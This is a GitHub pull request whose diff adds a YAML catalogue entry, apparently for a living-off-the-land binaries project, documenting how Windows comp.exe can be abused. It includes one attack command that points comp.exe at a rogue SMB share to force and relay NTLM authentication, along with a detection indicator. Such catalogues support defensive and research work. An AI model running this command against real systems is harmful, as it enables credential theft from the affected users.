Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding Comp.exe technique #341

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 25 additions & 0 deletions yml/OSBinaries/Comp.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
---
Name: Comp.exe
Description: Used to compares the contents of two files or sets of files byte-by-byte
Author: 'Kousha Zanjani'
Created: 2024-02-13
Commands:
- Command: comp /M \\10.0.0.10\ fake.txt
Description: Tries to compare a file from rogue SMB Share with a fake.txt file
Usecase: Relay a NTLM authentication over SMB
Category: Credentials
Privileges: User
MitreID: T1187
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\System32\comp.exe
- Path: C:\Windows\SysWOW64\comp.exe
Code_Sample:
- Code:
Detection:
- IOC: comp.exe retrieving files from remote server
Resources:
- Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/comp
Acknowledgement:
- Person: Kousha Zanjani
Handle:
Loading